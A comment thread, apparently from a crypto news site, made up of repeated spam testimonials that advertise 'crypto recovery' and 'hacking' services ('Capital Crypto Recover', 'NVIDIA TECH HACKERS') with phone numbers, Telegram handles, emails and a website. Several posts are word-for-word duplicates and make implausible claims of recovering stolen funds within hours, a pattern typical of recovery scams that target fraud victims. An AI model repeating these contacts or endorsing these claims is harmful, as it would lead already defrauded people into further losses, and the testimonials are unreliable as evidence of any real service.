You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon